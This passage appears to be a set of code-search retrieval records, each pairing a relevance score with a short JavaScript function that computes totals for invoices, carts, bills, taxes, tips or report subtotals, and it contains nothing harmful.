"docid": "4c32239a7a62fad078b4366da12a0718", "score": "0.68934184", "text": "function calcTotals() {\n var total = 0;\n $('.invoice-line').each(function () {\n var qnt = parseFloat($(this).find('input.item-quantity').val().replace(',', '.'));\n var price = parseFloat($(this).find('input.item-price').val().replace(',', '.'));\n total = qnt * price;\n if (total >= 0) {\n $(this).find('input.item-total').val(total)\n }\n calcGrandTotal();\n });\n }", "title": "" }, { "docid": "8ae720852a1d80bc3aa98b646aabf800", "score": "0.68689454", "text": "function TotalAdjustment()\n{\n addEntry(this, \"value\", \"\");\n}", "title": "" }, { "docid": "aa07903704d77d48fec40b07f541ee44", "score": "0.68447995", "text": "function calSum() {\n\tvar adult = 0;\n\tvar child = 0;\n\t$('.adult_count').each(function () {\n\t\tvar val = $(this).val();\n\t\tif (val != '' && val != 0) {\n\t\t\tadult += parseFloat(val);\n\t\t}\n\t});\n\t$('.child_count').each(function () {\n\t\tvar val = $(this).val();\n\t\tif (val != '' && val != 0) {\n\t\t\tchild += parseFloat(val);\n\t\t}\n\t});\n\tvar total = adult + child;\n\t$(\".totalCount\").html(\"(\" + total + \" Persons)\");\n}", "title": "" }, { "docid": "360835926a42936dc23196fea035c96e", "score": "0.6825128", "text": "function calcularTotal(){\n\t\tlet suma = carrito.reduce((sum,item) => sum + item.precio*item.cantidad, 0);\n\t\tsetTotal(suma.toFixed(2));\n }", "title": "" }, { "docid": "8e21766b5f46cc379a87dbf86851f89d", "score": "0.6824055", "text": "function updateTotal() {\n var sum = 0;\n $('.booking-table .item-subtotal .money-value').each(function () {\n sum += parseFloat($(this).text());\n return sum;\n });\n sum = sum.toFixed(2);\n\n //discount, check if there any active coupon applied\n if ($('.summary-coupon').hasClass('active')) {\n discount = parseFloat($('.summary-coupon .item-price .money-value').text());\n sum = (sum - discount).toFixed(2);\n }\n \n $('.item-total .money-value').empty().append(sum);\n $('.cta-current-total .money-value').empty().append(sum);\n }", "title": "" }, { "docid": "71dfda16e5f28823686b96c499375e3a", "score": "0.681614", "text": "function totals() {\n if (isNaN(result)) {\n result = 0;\n }\n\n total = val + result;\n console.log('Total: '+ total);\n $('#total').val('Php '+total.toFixed(2));\n val = total;\n \n }", "title": "" }, { "docid": "2b4d8e61d6b9e0d3efc38f0eefa5d7f6", "score": "0.6802288", "text": "function calculateTotal(subTotal, taxTotal, grandTotal) {\n const firstClassCount = getInput('first-class');\n const economyCount = getInput('economy');\n\n const totalPrice = firstClassCount * 150 + economyCount * 100;\n document.getElementById(subTotal).innerText = totalPrice;\n\n const tax = totalPrice * 0.1;\n document.getElementById(taxTotal).innerText = tax;\n\n const grandTotalPrice = totalPrice + tax;\n document.getElementById(grandTotal).innerText = grandTotalPrice;\n}", "title": "" }, { "docid": "e9d47a2d500fc4f0628e6f3df697faad", "score": "0.67862636", "text": "function calculateTotalSum() {\n var totals = $(\".sum\")\n var mealName\n for(var i = 2; i < 6; ++i){\n var sum = 0;\n $(totals).each(function(index){\n var rowItems = totals[index].children\n sum += parseInt(rowItems[i].textContent)\n })\n $(\"#nutrient-totals\").children().eq(i).text(sum)\n }\n}", "title": "" }, { "docid": "168c2c28489f86d8a424fabf9eb56ad9", "score": "0.6781567", "text": "function calculateTotal() \r\n{\r\n itemDictionary={};\r\n if (brownies > 0) \r\n {\r\n itemDictionary['brownies'] = brownies;\r\n }\r\n if (blueberryMuffins > 0) \r\n {\r\n itemDictionary['blueberryMuffins'] = blueberryMuffins;\r\n }\r\n if (chocolateCookies > 0) \r\n {\r\n itemDictionary['chocolateCookies'] = chocolateCookies;\r\n }\r\n if (macarons > 0) \r\n {\r\n itemDictionary['macarons'] = macarons;\r\n }\r\n if (cheeseCakes > 0) \r\n {\r\n itemDictionary['cheeseCakes'] = cheeseCakes;\r\n }\r\n if (croissants > 0) \r\n {\r\n itemDictionary['croissants'] = croissants;\r\n }\r\n total = 0;\r\n //calculating total\r\n total = brownies * browniesPrice + blueberryMuffins * blueberryMuffinsPrice +\r\n chocolateCookies * chocolateCookiesPrice + macarons * macaronsPrice\r\n + cheeseCakes * cheeseCakesPrice + croissants * croissantsPrice; \r\n return total;\r\n}", "title": "" }, { "docid": "d11171a59fdd6d365d756ff13586fa2b", "score": "0.674067", "text": "function categoryTotalsTest(){\n var moneyItem1 = new moneyitem(\"Amazon purchases\",25, \"Amazon\", \"Auto & transport\", false, \"\");\n var moneyItem2 = new moneyitem(\"Parking\",26,\"Pay-pal\",\"Fast food\", false, \"\");\n var moneyItem3 = new moneyitem(\"Door dash\",27 ,\"Citi bank\",\"Shopping\", false, \"\");\n var moneyItem4 = new moneyitem(\"Door dash\",28,\"Capital one\",\"Bills and utilities\", false, \"\");\n var moneyItem5 = new moneyitem(\"Door dash\",29,\"Amex\",\"Home\", false, \"\");\n var moneyItem6 = new moneyitem(\"Door dash\",30,\"Amex\",\"Kids\", false, \"\");\n var moneyItem7 = new moneyitem(\"Door dash\",31,\"Amex\",\"Misc\", false, \"\");\n var moneyItem8 = new moneyitem(\"Door dash\",32,\"Amex\",\"Education cost\", false, \"\");\n var moneyItem9 = new moneyitem(\"Door dash\",33,\"Amex\",\"Reimbursement\", false, \"\");\n var moneyItem10 = new moneyitem(\"Door dash\",34,\"Amex\",\"Food\", false, \"\");\n var moneyItem11 = new moneyitem(\"Door dash\",35,\"Amex\",\"Rent\", false, \"\");\n var moneyItem12 = new moneyitem(\"Door dash\",36,\"Amex\",\"Car payment\", false, \"\");\n var moneyItem13 = new moneyitem(\"Door dash\",37,\"Amex\",\"Financed payment\", false, \"\");\n \n var itemCategorysheet = new financeSheet(new sheet(5)); \n \n var CategoryTotals = new categoryTotals(new itemTotal());\n CategoryTotals.setItemCategories(itemCategorysheet)\n \n \n \n CategoryTotals.addToCategoryTotals(moneyItem1);\n CategoryTotals.addToCategoryTotals(moneyItem2);\n CategoryTotals.addToCategoryTotals(moneyItem3);\n CategoryTotals.addToCategoryTotals(moneyItem4);\n CategoryTotals.addToCategoryTotals(moneyItem5);\n CategoryTotals.addToCategoryTotals(moneyItem6);\n CategoryTotals.addToCategoryTotals(moneyItem7);\n CategoryTotals.addToCategoryTotals(moneyItem8); \n CategoryTotals.addToCategoryTotals(moneyItem9);\n CategoryTotals.addToCategoryTotals(moneyItem10);\n CategoryTotals.addToCategoryTotals(moneyItem11);\n CategoryTotals.addToCategoryTotals(moneyItem12);\n CategoryTotals.addToCategoryTotals(moneyItem13);\n \n \n var result1 = equalsTest(CategoryTotals.getCategoryValue(\"Auto & transport\"), 25);\n var result2 = equalsTest(CategoryTotals.getCategoryValue(\"Fast food\"), 26);\n var result3 = equalsTest(CategoryTotals.getCategoryValue(\"Shopping\"), 27);\n var result4 = equalsTest(CategoryTotals.getCategoryValue(\"Bills and utilities\"), 28);\n var result5 = equalsTest(CategoryTotals.getCategoryValue(\"Home\"), 29);\n var result6 = equalsTest(CategoryTotals.getCategoryValue(\"Kids\"), 30);\n var result7 = equalsTest(CategoryTotals.getCategoryValue(\"Misc\"), 31);\n var result8 = equalsTest(CategoryTotals.getCategoryValue(\"Education cost\"), 32); \n var result9 = equalsTest(CategoryTotals.getCategoryValue(\"Reimbursement\"), 33);\n var result10 = equalsTest(CategoryTotals.getCategoryValue(\"Food\"), 34);\n var result11 = equalsTest(CategoryTotals.getCategoryValue(\"Rent\"), 35);\n var result12 = equalsTest(CategoryTotals.getCategoryValue(\"Car payment\"), 36);\n var result13 = equalsTest(CategoryTotals.getCategoryValue(\"Financed payment\"), 37);\n \n if(result1 == \"Pass\" && result2 == \"Pass\" \n && result3 ==\"Pass\" \n && result4 == \"Pass\" \n && result5 == \"Pass\"\n && result6 == \"Pass\"\n && result7 == \"Pass\" \n && result8 == \"Pass\"\n && result9 == \"Pass\"\n && result10 == \"Pass\"\n && result11 == \"Pass\"\n && result12 == \"Pass\"\n && result13 == \"Pass\"){\n return \"pass\";\n }\n else{\n return \"fail\";\n }\n \n}", "title": "" }, { "docid": "349f0af768fba3450b5a4c03ef614f96", "score": "0.6736361", "text": "function addRegisterTotals(current) {\n if (current.attr(\"name\") === \"all\") {\n if ($(\".activities [name = all]\").prop(\"checked\")) {\n registerTotal += 200;\n } else {\n registerTotal -= 200;\n }\n } else {\n if (current.prop(\"checked\")) {\n registerTotal += 100;\n } else {\n registerTotal -= 100;\n }\n }\n $(\".activities p\").remove();\n $('.activities').append(`<p id=\"price\"> $${registerTotal} </p>`);\n }", "title": "" }, { "docid": "11baa4b0d1d4c95b33c75d3e94a10390", "score": "0.67310494", "text": "function calc_total(){\n total_money = 0;\n for(var i = 0; i < item_array.length;i++)\n {\n total_money += getItem(item_array[i],'').price;\n }\n $('.money').html(total_money);\n }", "title": "" }, { "docid": "6c739fbf7783a6eb56a10a733440ce8f", "score": "0.6729033", "text": "function calculateTotal() {\n const total = data.reduce((acc, user) => acc + user.money, 0);\n const wealthEle = document.createElement(`div`);\n wealthEle.classList.add(`total`);\n wealthEle.innerHTML = `<Strong>Total Wealth</Strong> ${formatMoney(\n total\n )}`;\n main.appendChild(wealthEle);\n}", "title": "" }, { "docid": "17cd0f050ecab42d6bff4a8f87a27f99", "score": "0.67086375", "text": "function generate_total(tbody, count) {\n\n // Calculate the amount of each package\n var stand_out_amount = standout * parseFloat(322.99);\n var premium_amount = premium * parseFloat(394.99);\n var classic_amount = classic * parseFloat(269.99);\n var total = stand_out_amount + premium_amount + classic_amount;\n // Insert row to table\n if (total != 0) {\n // Insert a new row at index 0\n var row = tbody.insertRow(0);\n // Insert a new cell at index 0,1,2,3\n var ID = row.insertCell(0);\n var Item = row.insertCell(1);\n var Quantity = row.insertCell(2);\n var Sub_Total = row.insertCell(3);\n // Populate the cell with data\n ID.innerHTML = \"\";\n Item.innerHTML = \"\";\n Quantity.innerHTML = \"<p class='bold pt-10'>Total</p>\";\n Sub_Total.innerHTML = total;\n }\n}", "title": "" }, { "docid": "521c9e90dea0b4512e17dcc434132105", "score": "0.6701947", "text": "function addTotalPaymentNow( addResultsTo, calcTotalOfThisElelemnt,addFinalPaymentTo ){\r\n\t//add subtotal\r\n\tvar getElement = document.querySelectorAll( addResultsTo ); //make all elements that will have total with the same class\r\n\tvar myTotalIs = getTotalForMoreThanOneElement( calcTotalOfThisElelemnt );\r\n\tfor(x = 0; x < getElement[\"length\"]; x++){\r\n\t\t getElement[x].innerHTML = myTotalIs; //get total of this div and add results to addResultsTo\r\n\t}\r\n\t//get tax total here:\r\n\taddTotalTaxes();\r\n\t//get total of all items: \r\n\tvar finalTotalIs = document.getElementById( addFinalPaymentTo ); //make all elements that will have total with the same class\r\n\tvar totalTaxes = parseFloat(addTotalTaxes()); //get Total Taxes\r\n\tvar subtotalIs = parseFloat(document.getElementById( 'getSubTotalHere' ).innerText); //subtotal\r\n\tvar finalTotal = (totalTaxes + subtotalIs).toFixed(2);\r\n\tfinalTotalIs.innerText = finalTotal;\r\n\t//\r\n\ttest(\" - your subtotal is \" + getTotalForMoreThanOneElement(calcTotalOfThisElelemnt) + \" & Taxes: !: \" + addTotalTaxes() + \" & Total: !: \" + finalTotal);\r\n}", "title": "" }, { "docid": "6be0f1f64413c612b650381979b5362b", "score": "0.6696569", "text": "function total() {\n // write your code here\n}", "title": "" }, { "docid": "ea8dcfc701227c8687a33c0a29c4e5b7", "score": "0.6693564", "text": "function updateTotal() {\n\t\tvar cumul = 0,\n\t\t\ti = 0,\n\t\t\tlength = values.length;\n\t\t// We re-compute every time rather than maintain a global variable\n\t\t// to account for eventual rounding errors when adding/subtracting\n\t\t// multiple times to the same variable in JavaScript\n\t\tfor( ; i < length; i++ ) {\n\t\t\tcumul += values[ i ];\n\t\t}\n\t\tover2GO = ( cumul >= 2000000 );\n\t\tif ( over2GO ) {\n\t\t\tcumul = 2000000;\n\t\t}\n\t\tif ( cumul ) {\n\t\t\tif ( cumul < 1000 ) {\n\t\t\t\tcumul = \"< 1 Mo\";\n\t\t\t} else if ( cumul >= 1000000 ) {\n\t\t\t\tcumul = ( cumul / 1000000 ).toFixed( 2 ) + \" Go\";\n\t\t\t} else {\n\t\t\t\tcumul = Math.ceil( cumul / 1000 ) + \" Mo\";\n\t\t\t}\n\t\t}\n\t\tresult.text( cumul + \" par mois\" );\n\t}", "title": "" }, { "docid": "fb637370689cd696e057b4eb2cde6c9f", "score": "0.6680847", "text": "updateTotalsRow(){\n //this is a blank function to make any update calls for totals...\n }", "title": "" }, { "docid": "27e3d1b86414e436d7340a33cb71775b", "score": "0.6673214", "text": "function calcTotal() {\n carbonTotal = meat + milesProduct + water;\n return carbonTotal;\n}", "title": "" }, { "docid": "fe70024f239d71fe50f483237044e7ec", "score": "0.666434", "text": "function total() {\n var totalSum = 0;\n for (var i=0; i<accounts.length;i++) {\n totalSum += accounts[i].amount;\n }\n return totalSum;\n}", "title": "" }, { "docid": "99f8dc6af1be4ae56c0aeb13f9caab64", "score": "0.66618687", "text": "function invoiceTotal() {\n\tvar i;\n\tvar total = 0;\n\tfor (i = 0; i < arguments.length; i++) {\n\t\ttotal += arguments[i];\n\t}\n\treturn total;\n}", "title": "" }, { "docid": "80a52b2fb644eaf2305447fa6d64dcc3", "score": "0.6658798", "text": "total () {\n let sum = []\n for (let item of this.items) {\n sum.push(item.quantity * item.pricePerUnit)\n }\n return sum.reduce((total, num) => {\n return total + num\n }, 0)\n }", "title": "" }, { "docid": "0d1ae2cb61678cfef6709b32e3831a26", "score": "0.6646744", "text": "addSubTotals () { \n var depth = this.addSubtotalDepth\n\n // BUILD GROUPINGS / SORT VALUES\n var subTotals = []\n var latest_grouping = []\n for (var r = 0; r < this.data.length; r++) { \n var row = this.data[r]\n if (row.type !== 'total') {\n var grouping = []\n for (var g = 0; g < depth; g++) {\n var dim = this.dimensions[g].name\n grouping.push(row.data[dim].value)\n }\n if (grouping.join('|') !== latest_grouping.join('|')) {\n subTotals.push(grouping)\n latest_grouping = grouping\n }\n row.sort = [0, subTotals.length-1, r]\n }\n }\n\n // GENERATE DATA ROWS FOR SUBTOTALS\n for (var s = 0; s < subTotals.length; s++) {\n var subtotal = new Row('subtotal')\n\n for (var d = 0; d < this.columns.length; d++) {\n var column = this.columns[d]\n subtotal.data[column.id] = '' // set default\n\n if (this.columns[d].id === '$$$_index_$$$' || d === this.dimensions.length ) {\n var subtotal_label = subTotals[s].join(' | ')\n subtotal.data[this.columns[d]['id']] = {'value': subtotal_label, 'cell_style': ['total']}\n } \n\n if (column.type == 'measure') {\n var subtotal_value = 0\n if (column.pivoted) {\n var cellKey = [column.pivot_key, column.field_name].join('.') \n } else {\n var cellKey = column.id\n }\n for (var mr = 0; mr < this.data.length; mr++) {\n var data_row = this.data[mr]\n if (data_row.type == 'line_item' && data_row.sort[1] == s) {\n subtotal_value += data_row.data[cellKey].value\n } \n }\n var cellValue = {\n value: subtotal_value,\n rendered: formatter(subtotal_value), \n cell_style: ['total']\n }\n subtotal.data[cellKey] = cellValue\n }\n }\n subtotal.sort = [0, s, 9999]\n this.data.push(subtotal)\n }\n this.sortData()\n this.has_subtotals = true\n }", "title": "" }, { "docid": "32c89ad9894d548db2cb16e695cc40ff", "score": "0.66401607", "text": "function calculateTotal(items){\n const reducer = (accumulator, currentValue) => accumulator + currentValue;\n return items.reduce(reducer);\n}", "title": "" }, { "docid": "de2ceb6607a9997c41894d6c14f20800", "score": "0.66335976", "text": "function calculateTotal(){\n\t $scope.cart.total=0\n\t angular.forEach($scope.cart.bookings, function(booking) {\n\t\t $scope.cart.total=$scope.cart.total+Number(booking.price);\n\t });\n\t }", "title": "" }, { "docid": "b226cdd877530c61ba82587db65894cc", "score": "0.6627658", "text": "function totalsum () {\n var orderpricetotal = parseFloat($(\".order-price\").text(), 10);\n var shippingpricetotal = parseFloat($(\".order-shipping\").text(), 10);\n var totalprice = orderpricetotal + shippingpricetotal;\n $('.total-price').html(totalprice);\n }", "title": "" }, { "docid": "27cad6001cfe48a2c44449cc0376fffc", "score": "0.66244274", "text": "calculateTotals(fields) {\n for (var i = 0; i < this.reportStructure.length; i++) {\n this.calculateTotal(this.reportStructure[i].id, fields);\n }\n }", "title": "" }, { "docid": "27cad6001cfe48a2c44449cc0376fffc", "score": "0.66244274", "text": "calculateTotals(fields) {\n for (var i = 0; i < this.reportStructure.length; i++) {\n this.calculateTotal(this.reportStructure[i].id, fields);\n }\n }", "title": "" }, { "docid": "a7f05337a24e1795760cee376c359d3b", "score": "0.66241264", "text": "function calculateTotal() {\n total=stringToArrayData[i].gymCoast * reserveNumber.value;\n four = totalTd.textContent = total;\n console.log(\"four\", four);\n // Arr.push(Number(four.length-1));\n let three = totaldiv.textContent=majorTotal+four;\n console.log(\"three\", three);\n console.log(\"Arr\", Arr);\n // majorTotal+=three;\n }", "title": "" }, { "docid": "63f88c634fe92fd37f763f1b36c15357", "score": "0.66235197", "text": "function calTotalCost(){\r\n return calSubTotal() + calTax();\r\n}", "title": "" }, { "docid": "0104bb28726797f3438135f8e3af6010", "score": "0.661854", "text": "calcTotal(data) {\n return data.reduce((total, currentAmount) => {\n \n total += currentAmount.amount;\n return total;\n\n }, 0);\n }", "title": "" }, { "docid": "714467bd59253be21b72b9ebcd538e28", "score": "0.66109455", "text": "function recalculateTotals() {\n\tvar jo = $('.chosenItem:not(\".ui-draggable-dragging\")');\n\tpreTaxTotal = 0;\n\ttaxAmount = 0;\n\t\n\t// loop through all items on the check and calculate the total costs\n\t$.each(jo, function(i,v) {\n\t\tvar costStr = $(v).find(\"span.costTxt\").text();\n\t\tpreTaxTotal += parseFloat(costStr);\n\t});\n\t$('#preTaxTotal').text( parseFloat(preTaxTotal).toFixed(2) );\n\t\n\ttaxAmount = preTaxTotal * TAX_RATE;\n\t$('#taxAmount').text( parseFloat(taxAmount).toFixed(2) );\n\t\n\t$('#postTaxTotal').text( parseFloat(preTaxTotal + taxAmount).toFixed(2) );\n}", "title": "" }, { "docid": "3b5333cfbf8382a559d704bd8b34e625", "score": "0.6608035", "text": "function budgetTotal(){\n // make array with num vs str\n costs.push(\n parseFloat(document.getElementById('amount').value));\n console.log(costs)\n // let Total = total.reduce();\n let reducer = function(accumulator, currentValue){\n return accumulator + currentValue;\n }\n let Total = costs.reduce(reducer);\n // console.log(Total)\n //update top with current budget totals\n let h2 = document.createElement('h2');\n h2.innerText = `Budget Total: $${Total}`;\n document.querySelector('h2').remove();\n document.querySelector('.header-text').append(h2);\n }", "title": "" }, { "docid": "67ffe37fca8a7074fc2574ae81a62935", "score": "0.65924054", "text": "function createTotals(){\r\n\t\tvar tots = document.getElementById(\"tots\") // Reference totals Container\r\n\t\t, newPara = document.createElement(\"p\") // New Paragraph placeholder\r\n\t\t, newH3 = document.createElement(\"h3\") // New H3 header placeholder\r\n\t\t, totPrice = 0.00 // Placeholder for individual cost\r\n\t\t, totContr = 0.00 // Placeholder for individual contribution\r\n\t\t, tax = 0.00 // Placeholder for tax\r\n\t\t, taxDecimal = taxPcent/100 // Tax as a decimal\r\n\t\t, taxMulti = taxDecimal + 1 // Value used as multiplicand to find order value plus tax\r\n\t\t, gTot = 0.00 // Placeholder for grand total (Cost plus tax)\r\n\t\t, pTax = 0.00 // Individual tax\r\n\t\t, pGTot = 0.00 // Individual Grand Total\r\n\t\t, cNum = 1; // Totals Container Child node index\r\n\t\t\r\n\t\t// Calculate totals\r\n\t\t// Total Cost\r\n\t\tfor (var i = 0; i < pPrices.length; i++){totPrice += +(pPrices[i]); totContr += +(pContr[i]); } // Loop through array values to calculate total\r\n\t\ttotPrice = decPrec(totPrice, 2);\r\n\t\t//dropRight(tots.children[0]);\r\n\t\ttots.children[cNum++].innerHTML = \"Order Total: $\" + totPrice; // Display total in set paragraph\r\n\t\t\r\n\t\t// Total Tax\r\n\t\ttax = decPrec(taxDecimal*totPrice, 2);\r\n\t\ttots.children[cNum++].innerHTML = \"Sales Tax: \" + taxPcent + \"% of $\" + totPrice + \" = $\" + tax;\r\n\t\t\r\n\t\t// Grand Total\r\n\t\tgTot = decPrec(totPrice*taxMulti,2); //+(totPrice) + +(tax)\r\n\t\ttots.children[cNum++].innerHTML = \"Grand Total: $\" + gTot;\r\n\t\t\r\n\t\t//Total Contributions\r\n\t\ttotContr = decPrec(totContr, 2);\r\n\t\ttots.children[cNum].innerHTML = \"Total Contributions: $\" + totContr;\r\n\t\tcNum+=2;\r\n\t\t// Total Tips\r\n\t\ttots.children[cNum++].innerHTML = \"Double Tax: $\" + decPrec(tax * 2, 2); // Double tax\r\n\t\ttots.children[cNum].innerHTML = \"15% of Bill: $\" + decPrec(gTot *.15, 2); // 15% of bill\r\n\t\tcNum+=2;\r\n\t\t\r\n\r\n\t\t\r\n\t\t\r\n\t\t// Individual Totals\r\n\t\tfor (var i = 0; i < pPrices.length; i++){\r\n\t\t\r\n\t\t\tpTax = 0.00;\r\n\t\t\tpGTot = 0.00;\r\n\t\t\tpontr = 0.00;\r\n\t\t\tnewPara = document.createElement(\"p\");\r\n\t\t\tnewH3 = document.createElement(\"h3\");\r\n\t\t\t\r\n\t\t\t// Head\r\n\t\t\tnewH3.appendChild(document.createTextNode(\"Person \" + (i + 1) +\"\"));\r\n\t\t\ttots.appendChild(newH3);\r\n\r\n\t\t\t// Individual Cost\r\n\t\t\tnewPara.appendChild(document.createTextNode(\"Order: $\" + pPrices[i] ));\r\n\t\t\ttots.appendChild(newPara);\r\n\t\t\t\r\n\t\t\t// Individual Tax\r\n\t\t\tnewPara = document.createElement(\"p\");\r\n\t\t\tpTax = decPrec(taxDecimal*pPrices[i], 2 );\r\n\t\t\tnewPara.appendChild(document.createTextNode(\"Tax: $\" + pTax));\r\n\t\t\ttots.appendChild(newPara);\r\n\t\t\t\r\n\t\t\t// Individual Grand Total\r\n\t\t\tnewPara = document.createElement(\"p\");\r\n\t\t\tpGTot = decPrec(pPrices[i]*taxMulti, 2 ); //+(pPrices[i]) + +(pTax)\r\n\t\t\tnewPara.appendChild(document.createTextNode(\"Total: $\"+pGTot));\r\n\t\t\ttots.appendChild(newPara);\r\n\t\t\t\r\n\t\t\t// Individual Contributions and Amount Owed or Owes\r\n\t\t\tnewPara = document.createElement(\"p\");\r\n\t\t\tpontr = decPrec(pPrices[i] - pContr[i], 2);\r\n\t\t\tnewPara.appendChild(document.createTextNode(\"Contribution: $\" + pContr[i] + \"; \"));\r\n\t\t\t\r\n\t\t\tif (pontr > 0) {newPara.appendChild(document.createTextNode(\"Owes $\" + pontr + \"; \"));}\r\n\t\t\tif (pontr < 0) {newPara.appendChild(document.createTextNode(\"Owed $\" + Math.abs(pontr)));}\r\n\t\t\t\r\n\t\t\ttots.appendChild(newPara);\r\n\t\t\t\r\n\t\t\t// Individual Tips\r\n\t\t\tnewPara = document.createElement(\"p\");\r\n\t\t\tnewPara.appendChild(document.createTextNode(\"Tip: Double - $\"+decPrec((pTax*2), 2)+\"; 15% - $\"+decPrec((pGTot*.15), 2)));\r\n\t\t\ttots.appendChild(newPara);\r\n\t\t\t\r\n\t\t\tcNum++; // Increment child node index\r\n \t\t}\r\n\r\n\t\t// Even Split Counts\r\n\t\tnewH3 = document.createElement(\"h3\");\r\n\t\tnewPara = document.createElement(\"p\");\r\n\r\n\t\t// Head\r\n\t\tnewH3.appendChild(document.createTextNode(\"Even Split\"));\r\n\t\ttots.appendChild(newH3);\r\n \r\n\t\t// Order Split\r\n\t\tnewPara.appendChild(document.createTextNode(\"Order: $\" + decPrec((totPrice/pPrices.length),2)));\r\n\t\ttots.appendChild(newPara);\r\n\r\n\t\t// Tax Split\r\n\t\tnewPara = document.createElement(\"p\");\r\n\t\tnewPara.appendChild(document.createTextNode(\"Tax: $\" + decPrec(tax/pPrices.length, 2)));\r\n\t\ttots.appendChild(newPara);\r\n\r\n\t\t// Grand Total Split\r\n\t\tnewPara = document.createElement(\"p\");\r\n\t\tnewPara.appendChild(document.createTextNode(\"Total: $\"+decPrec(gTot/pPrices.length, 2)));\r\n\t\ttots.appendChild(newPara);\r\n\r\n\t\t// Tip Split\r\n\t\tnewPara = document.createElement(\"p\");\r\n\t\tnewPara.appendChild(document.createTextNode(\"Tip: Double - $\"+decPrec((tax/pPrices.length)*2, 2)+\"; 15% - $\"+decPrec((gTot*.15)/pPrices.length, 2)));\r\n\t\ttots.appendChild(newPara);\r\n\r\n\t\t/*\tvar = document.createElement(\"input\");\r\n\t\t\tpara.appendChild(document.createTextNode(\"Person \" + i + \": $\"));\r\n\t\t\tpara.setAttribute(\"id\", \"f2P\" + i);\r\n\t\t\tpara.setAttribute(\"style\" , \"position:relative;display:none;\");\r\n\t\t\tinp.setAttribute(\"name\", \"inp\" + i);\r\n\t\t\tpara.setAttribute(\"type\", \"text\");\r\n\t\t\tdocument.getElementById(\"f2\").appendChild(para);\r\n\t\t\tdocument.getElementById(\"f2P\" + i).appendChild(inp);\r\n\t\t\tdropIn(document.getElementById(\"f2P\" + i));*/\r\n\t}", "title": "" }, { "docid": "8dc7891dfb675a3f90c6c68faefeb7ac", "score": "0.6585602", "text": "function setTotal() {\n // total = 0\n for (let n = 0; n < menuData.ramens.length; n++) { // 0-7 ramen-total\n total = 0\n ramenTotal[n].innerHTML = parseInt(ramenTotal[n].innerHTML)\n for (o = 0; o < menuData.toppings.length; o++) { // 0-5\n total += ramen[n][o] * menuData.toppings[o].price\n }\n ramenTotal[n].innerHTML = (menuData.ramens[n].price + total).toFixed(2)\n\n // ここで値段とかの引数渡して、アペンドする関数呼ぶ?\n }\n\n for (p = 0; p < menuData.appetizers.length; p++) { // appetizer\n total = 0\n appetizerTotal[p].innerHTML = parseInt(appetizerTotal[p].innerHTML)\n total += appetizer[p] * menuData.appetizers[p].price\n appetizerTotal[p].innerHTML = total.toFixed(2)\n }\n\n for (q = 0; q < menuData.drinks.length; q++) {\n total = 0\n drinkTotal[q].innerHTML = parseInt(drinkTotal[q].innerHTML)\n total += drink[q] * menuData.drinks[q].price\n drinkTotal[q].innerHTML = total.toFixed(2)\n }\n\n for (r = 0; r < menuData.others.length; r++) {\n total = 0\n otherTotal[r].innerHTML = parseInt(otherTotal[r].innerHTML)\n total += other[r] * menuData.others[r].price\n otherTotal[r].innerHTML = total.toFixed(2)\n }\n}", "title": "" }, { "docid": "6429eee3cbfd1361c129d60dd460a02c", "score": "0.65712434", "text": "function printTotals(totalData) {\n var table = $('#myDataTable').DataTable();\n var tableData = table.data();\n\n for(i = 0; i < tableData.count(); i++) {\n tableData[i].total = totalData[i]; // Update total cell for each row\n }\n\n table.clear().rows.add(tableData).draw(); // Redraw the table with the same values aside from total column\n}", "title": "" }, { "docid": "5b59d6f0e026f4e41826b417d2f11c7a", "score": "0.65644693", "text": "function outputTotals(runningTotal){\n\n var shippingTotal = getShippingTotal(runningTotal);\n var taxTotal = getTaxTotal(runningTotal);\n var grandTotal = getGrandTotal(shippingTotal, taxTotal, runningTotal);\n \n var totals = \"<tr class='totals'>\"+ \n \"<td colspan='4'>Subtotal</td>\"+\n \"<td>$\"+runningTotal.toFixed(2)+\"</td>\"+\n \"</tr>\"+\n \"<tr class='totals'>\"+\n \"<td colspan='4'>Tax</td>\"+\n \"<td>$\" + taxTotal + \"</td>\"+\n \"</tr>\"+\n \"<tr class='totals'>\"+\n \"<td colspan='4'>Shipping</td>\"+\n \"<td>$\"+shippingTotal+ \"</td>\"+\n \"</tr>\"+\n \"<tr class='totals focus'>\"+\n \"<td colspan='4'>Grand Total</td>\"+\n \"<td>$\" + grandTotal + \"</td>\"+\n \"</tr>\";\n\n\n document.write(totals);\n\n}", "title": "" }, { "docid": "cbf9e2bf48252bc28178fead0b0368b5", "score": "0.65605944", "text": "function sumAll(total, number) {\r\n return total + number\r\n }", "title": "" }, { "docid": "cae8155d21e92a526a759e92b4c18b17", "score": "0.6559955", "text": "function sum_total() {\n\t\tvar total_price = 0;\n\t\tvar line_total;\n\t\t$('td.line_total').each(function(index) {\n\t\t\tline_total = parseFloat($(this).text().replace('$',''));\n\t\t\ttotal_price += line_total;\n\t\t});\n\treturn total_price;\n\t}", "title": "" }, { "docid": "c6fd72fe45a27352d992cf6592ca4449", "score": "0.65584373", "text": "function calculerTotal() {\n\t\tvar total = 0;\n\t\tfor (var i = panier.length - 1; i >=0; i--) \n\t\t\ttotal += panier[i].prix;\n\t\t}", "title": "" }, { "docid": "e358bfa5eda4d1a249764bbeab1fa6ab", "score": "0.6551216", "text": "function manualTotal(total) {\r\n\tlet inputs = total.parentElement.querySelectorAll('#input input'),\r\n\ttotals = Array.from(inputs).reduce((total, input) => input.value*1 + total, 0);\r\n\ttotal.innerText = totals;\r\n}", "title": "" }, { "docid": "10224fd49e2acff511bd42fac2296a67", "score": "0.6549076", "text": "function getTotal() {\n var total = 0;\n vm.budget.forEach(function(budget) {\n total += parseInt(budget.valeur, 10);\n });\n vm.total = total;\n }", "title": "" }, { "docid": "b471ebee6c483d17cc2a99ec053fdd9d", "score": "0.653976", "text": "function displayTotals() {\n $(\"#tip-percent-selected\").text(tipPercentage + \"%\");\n $(\"#bill-no-tip\").text(\"$ \" + billTotal);\n $(\"#tip-total\").text(\"$ \" + tipTotal);\n $(\"#bill-with-tip-total\").text(\"$ \" + billWithTip);\n $(\"#tip-person-total\").text(\"$ \" + tipPerPerson + \" per person\");\n $(\"#bill-with-tip-per-person\").text(\"$ \" + billWithTipPerPerson + \" per person\");\n\n // Return global variables to their default.\n billTotal = 0;\n tipPercentage = 0;\n splitBetween = 0;\n rounding = 0;\n billWithTip = 0;\n tipTotal = 0;\n tipPerPerson = 0;\n billWithTipPerPerson = 0;\n }", "title": "" }, { "docid": "539e2a2c0407b6c886bcbf111dd49605", "score": "0.6537268", "text": "function totalCalculate() {\n\tconst economyCount = getInputvalue('economy-input-count');\n\tconst firstClassCount = getInputvalue('firstClass-inputCount');\n\n\tconst subTotal = firstClassCount * 150 